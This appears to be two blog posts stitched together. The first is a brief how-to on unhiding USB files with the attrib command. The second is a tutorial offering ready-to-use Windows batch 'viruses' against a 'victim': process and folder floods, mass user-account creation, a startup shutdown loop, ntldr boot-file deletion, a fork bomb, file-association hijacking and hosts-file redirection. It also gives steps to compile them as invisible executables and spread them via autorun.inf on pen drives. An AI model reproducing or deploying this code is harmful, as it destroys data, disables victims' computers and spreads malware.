Computer viruses are actually programs that copy themselves from one place to another automatically and destroy your data. Apart from infecting your files, there are many viruses that affect the efficiency of person working on PC. In simple words, I will say that these viruses irritate the person working on computer.
For example, some viruses create shortcuts of files present in USB drives. Other computer viruses hide all files and folders on USB drive. Not only they hide files and folders but also disable the option to unhide those files. Actually those viruses are executed by DOS commands that automatically set attributes of all files and folders present on USB drive to “System files and Folders”. And system files are always hidden. For system files, the option to unhide them through properties window will also be disabled.

 So, in order to show hidden files and folders you will be required change attributes of those files. Firstly, I will recommend you to install antivirus program on your computer. Since USB viruses are much common these days so you can install USB Disk security get rid of USB viruses.



How to show Hidden System Files and Folders?

In order to show hidden files and folders in Windows 7, open the folder containing you files and click on Organize tab>Folder and search options. Now click on View tab and uncheck the option named “Hide protected operating System Files”. Also click on “Show hidden files and folders” option. When you apply the new settings, all the files and folders will become visible.

If you want to UnHide those system files and folders, follow the steps below.

Click on the start button and type cmd in the search box.
Click on cmd and it will open a black DOS window.
Type the following command there and press enter.
attrib -H -S G:\*.* /S /D /L
Hit enter button and it will show hidden files and folders from G drive.
You can replace “G:\” in the above command with the path of your required folder or USB drive. Remember that *.* will apply the attribute to all the files and folders present there.
In the above command, -H and –S and the attributes. The first one will show the hidden files and folders whereas the second one will convert system files to normal files.

If you change negative signs to positive in above commands, it will make those files again hidden and system.


If you face any problem, then feel free to comment below.  

Hi freinds,
 today we could just you give the codes to paste in notepad and ask you to save files with extension .bat and your deadly batch viruses would be ready. But instead of that, we have focused on making the basics of batch files clear and developing the approach to code your own viruses.


What are Batch Files?
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one


1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'

Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat

Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file
So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.
What can batch viruses do ?
They can be used to delete the windows files, format data, steal information, irritate victim, consume CPU resources to affect performance, disable firewalls, open ports, modify or destroy registry and for many more purposes.
Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).
Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1. Application Bomber
@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop

This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.

you can download this virus : click here

2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x
Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

you can download this virus : click here

3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x
This code would start creating windows user accounts whose names could be any random numbers.
4.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
you can download this virus : click here

shutdown -s -t 00 //this will shutdown the computer in 0 seconds

you can download this virus : click here

Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

5. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply
Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.
Lets make a batch file to
delete this file from victim's computer and the windows will not start then.

you can download this virus : click here

attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively del ntldr //delete ntldr file


After running this batch file , system will not reboot and a normal victim would definitely install the windows again.
6. Fork Bomb
%0|%0 //Its percentage zero pipe percentage zero
This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

you can download this virus : click here

7. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything
you can download this virus : click here

you can download this virus : click here

Every extension is associated with a file type like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wouldn’t open properly.
8. DNS Poisoning

There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.

@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.
Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.
Viruses we just coded
Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.
To overcome these limitations,we need to convert these batch files into executable files that is exe files.
first download this Batch To Exe coverter with the help of goggling .
After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.
You can use other options as per your requirement.
Spreading batch viruses through pen drive -:

Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico
Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .
When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.